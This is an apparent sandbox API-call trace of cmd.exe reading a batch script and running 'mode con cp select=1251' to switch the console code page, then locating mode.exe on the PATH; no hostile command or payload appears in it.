	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.395] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.395] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.395] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0074.395] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.396] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.396] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0074.396] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.396] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1
	[0074.397] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.397] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.397] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0074.398] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.398] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.398] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1
	[0074.398] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.398] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.398] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1
	[0074.398] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.398] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.398] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1
	[0074.398] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.398] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.398] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6f6069970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x59757cf888, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesRead=0x59757cf888*=0x1, lpOverlapped=0x0) returned 1
	[0074.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=1, lpWideCharStr=0x7ff6f6073c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1
	[0074.399] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.399] GetFileType (hFile=0x248) returned 0x3
	[0074.399] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.399] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0074.399] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.399] GetFileType (hFile=0x254) returned 0x3
	[0074.399] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff6f6069970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25
	[0074.399] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6f6069970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x59757cf828, lpOverlapped=0x0 | out: lpBuffer=0x7ff6f6069970*, lpNumberOfBytesWritten=0x59757cf828*=0x18, lpOverlapped=0x0) returned 1
	[0074.399] GetProcessHeap () returned 0x1c4ef510000
	[0074.399] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x4012) returned 0x1c4ef518fe0
	[0074.399] GetProcessHeap () returned 0x1c4ef510000
	[0074.399] RtlFreeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, BaseAddress=0x1c4ef518fe0) returned 1
	[0074.399] _wcsicmp (_String1="mode", _String2=")") returned 68
	[0074.399] _wcsicmp (_String1="FOR", _String2="mode") returned -7
	[0074.399] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7
	[0074.400] _wcsicmp (_String1="IF", _String2="mode") returned -4
	[0074.400] _wcsicmp (_String1="IF/?", _String2="mode") returned -4
	[0074.400] _wcsicmp (_String1="REM", _String2="mode") returned 5
	[0074.400] _wcsicmp (_String1="REM/?", _String2="mode") returned 5
	[0074.400] GetProcessHeap () returned 0x1c4ef510000
	[0074.400] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xb0) returned 0x1c4ef5167b0
	[0074.400] GetProcessHeap () returned 0x1c4ef510000
	[0074.400] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x1a) returned 0x1c4ef516a50
	[0074.400] GetProcessHeap () returned 0x1c4ef510000
	[0074.400] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x38) returned 0x1c4ef516a80
	[0074.401] GetConsoleOutputCP () returned 0x1b5
	[0075.392] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6f606fbb0 | out: lpCPInfo=0x7ff6f606fbb0) returned 1
	[0075.392] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0076.230] GetConsoleTitleW (in: lpConsoleTitle=0x59757cf670, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0076.547] malloc (_Size=0xffce) returned 0x1c4ef700840
	[0076.547] ??_V@YAXPEAX@Z () returned 0x1c4ef700840
	[0076.548] malloc (_Size=0xffce) returned 0x1c4ef710820
	[0076.548] ??_V@YAXPEAX@Z () returned 0x1c4ef710820
	[0076.549] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0076.549] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0076.549] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0076.549] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0076.549] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0076.549] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0076.549] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0076.549] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0076.549] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0076.549] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0076.549] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0076.549] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0076.549] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0076.549] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0076.549] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0076.549] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0076.549] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0076.549] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0076.549] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0076.549] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0076.549] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0076.549] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0076.549] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0076.549] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0076.549] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0076.549] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0076.549] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0076.549] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0076.550] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0076.550] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0076.550] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0076.550] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0076.550] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0076.550] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0076.550] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0076.550] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0076.550] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0076.550] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0076.550] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0076.550] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0076.550] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0076.550] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0076.550] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0076.550] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0076.550] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0076.550] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0076.550] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0076.550] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0076.550] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0076.550] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0076.550] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0076.550] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0076.550] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0076.550] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0076.550] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0076.550] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0076.550] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0076.550] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0076.550] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0076.550] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0076.550] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0076.550] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0076.550] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0076.550] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0076.550] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0076.551] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0076.551] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0076.551] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0076.551] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0076.551] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0076.551] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0076.551] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0076.551] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0076.551] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0076.551] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0076.551] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0076.551] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0076.551] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0076.551] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0076.551] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0076.551] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0076.551] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0076.551] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0076.551] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0076.551] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0076.551] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0076.551] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0076.551] ??_V@YAXPEAX@Z () returned 0x1
	[0076.551] GetProcessHeap () returned 0x1c4ef510000
	[0076.551] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xffde) returned 0x1c4ef518fe0
	[0076.552] GetProcessHeap () returned 0x1c4ef510000
	[0076.552] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x42) returned 0x1c4ef5119f0
	[0076.552] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0076.552] malloc (_Size=0xffce) returned 0x1c4ef710820
	[0076.552] ??_V@YAXPEAX@Z () returned 0x1c4ef710820
	[0076.552] GetProcessHeap () returned 0x1c4ef510000
	[0076.552] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x1ffac) returned 0x1c4ef528fd0
	[0076.555] SetErrorMode (uMode=0x0) returned 0x0
	[0076.555] SetErrorMode (uMode=0x1) returned 0x0
	[0076.555] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1c4ef528fe0, lpFilePart=0x59757ceef0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x59757ceef0*="Desktop") returned 0x17
	[0076.555] SetErrorMode (uMode=0x0) returned 0x1
	[0076.555] GetProcessHeap () returned 0x1c4ef510000
	[0076.555] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef528fd0, Size=0x4a) returned 0x1c4ef528fd0
	[0076.555] GetProcessHeap () returned 0x1c4ef510000
	[0076.555] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef528fd0) returned 0x4a
	[0076.555] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0076.555] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0076.555] GetProcessHeap () returned 0x1c4ef510000
	[0076.555] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x1bc) returned 0x1c4ef518320
	[0076.555] GetProcessHeap () returned 0x1c4ef510000
	[0076.555] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x368) returned 0x1c4ef529030
	[0076.564] GetProcessHeap () returned 0x1c4ef510000
	[0076.564] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef529030, Size=0x1be) returned 0x1c4ef529030
	[0076.564] GetProcessHeap () returned 0x1c4ef510000
	[0076.564] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef529030) returned 0x1be
	[0076.564] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6f606bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0076.564] GetProcessHeap () returned 0x1c4ef510000
	[0076.564] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xe8) returned 0x1c4ef516c30
	[0076.565] GetProcessHeap () returned 0x1c4ef510000
	[0076.565] RtlReAllocateHeap (Heap=0x1c4ef510000, Flags=0x0, Ptr=0x1c4ef516c30, Size=0x7e) returned 0x1c4ef516c30
	[0076.565] GetProcessHeap () returned 0x1c4ef510000
	[0076.565] RtlSizeHeap (HeapHandle=0x1c4ef510000, Flags=0x0, MemoryPointer=0x1c4ef516c30) returned 0x7e
	[0076.566] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.566] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0xffffffffffffffff
	[0076.566] GetLastError () returned 0x2
	[0076.566] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.566] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0xffffffffffffffff
	[0076.569] GetLastError () returned 0x2
	[0076.569] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0076.569] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x59757cec60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x59757cec60) returned 0x1c4ef511a40
	[0076.569] GetProcessHeap () returned 0x1c4ef510000
